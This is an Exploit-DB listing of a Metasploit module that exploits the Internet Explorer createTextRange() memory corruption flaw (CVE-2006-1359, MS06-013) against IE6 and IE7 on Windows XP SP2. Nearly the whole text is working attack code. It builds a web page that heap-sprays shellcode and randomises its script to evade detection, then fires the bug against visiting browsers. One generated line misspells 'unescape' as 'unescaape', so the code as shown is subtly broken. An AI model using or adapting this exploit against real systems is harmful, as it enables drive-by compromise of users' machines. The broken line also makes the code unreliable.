标题: Microsoft Internet Explorer - 'createTextRange()' Code Execution (MS06-013) (Metasploit) EDB-ID: 16578 CVE: 2006-1359 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms06_013_createtextrange.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer createTextRange() Code Execution',
   'Description'    => %q{
     This module exploits a code execution vulnerability in Microsoft Internet Explorer.
    Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory  in a way, which, under
    certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
    to a very remote, non-existent memory location. This module is the result of merging three
    different exploit submissions and has only been reliably tested against Windows XP SP2.
    This vulnerability was independently discovered by multiple parties. The heap spray method
    used by this exploit was pioneered by Skylined.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Faithless <rhyskidd [at] gmail.com>',
     'Darkeagle <unl0ck.net>',
     'hdm',
     '<justfriends4n0w [at] yahoo.com>',
     'anonymous',
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-1359'],
     ['OSVDB', '24050'],
     ['MSB', 'MS06-013'],
     ['BID', '17196'],
     ['US-CERT-VU', '876678'],
     ['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
     ['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
     ['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
     ['URL', 'http://www.shog9.com/crashIE.html'],
    ],
   'Payload'        =>
    {
     'Space'          => 1024,
     'BadChars'       => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
     [ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],

    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 19 2006'))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops
  nops = Rex::Text.to_unescape(make_nops(4))

  # Generate a random XML namespace for VML
  xmlns = rand_text_alpha(rand(30)+2)

  # Randomize the javascript variable names
  rnd              = rand(3)
  var_inputtype    = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
  var_inp          = "_"+rand_text_alpha(rand(6)+3)
  var_tmp          = "_"+rand_text_alpha(rand(6)+3)
  var_payload      = "_"+rand_text_alpha(rand(6)+3)
  var_nopslide     = "_"+rand_text_alpha(rand(6)+3)
  var_slidesize    = "_"+rand_text_alpha(rand(6)+3)
  var_fillblock    = "_"+rand_text_alpha(rand(6)+3)
  var_memblock     = "_"+rand_text_alpha(rand(6)+3)
  var_heap         = "_"+rand_text_alpha(rand(6)+3)
  var_index        = "_"+rand_text_alpha(rand(6)+3)
  var_maxIndex     = "_"+rand_text_alpha(rand(6)+3)
  var_fillHeap     = "_"+rand_text_alpha(rand(6)+3)
  var_start        = "_"+rand_text_alpha(rand(6)+3)
  var_timer        = "_"+rand_text_alpha(rand(6)+3)
  rnd              = rand(2)
  var_setTimeout   = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
  var_setInterval  = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""

  # Build out the message
  content = %Q|<html>
<head>
<script language = "javascript">
var #{var_payload} = unescaape("#{shellcode}");
var #{var_nopslide} = unescape("#{nops}");
var #{var_slidesize} = 20+#{var_payload}.length;
while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});
while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }
var #{var_heap} = new Array();
var #{var_index} = 0;
var #{var_maxIndex} = 2020;
function #{var_fillHeap}() {
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);
if (#{var_index}<#{var_maxIndex}) {
#{var_heap}.push(#{var_memblock}+#{var_payload});
#{var_index}++;
#{var_setTimeout}
} else {
#{var_timer}.innerHTML = 100;
#{var_inp} = document.createElement("input");
#{var_inp}.type = "#{var_inputtype}";
#{var_tmp} = #{var_inp}.createTextRange();
}
}
function #{var_start}() {
#{var_setTimeout}#{var_setInterval}
}
</script>
</head>
<body onload="#{var_start}()">
<span id="#{var_timer}"> % </span>
</body>
</html>
|

  content = Rex::Text.randomize_space(content)

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16578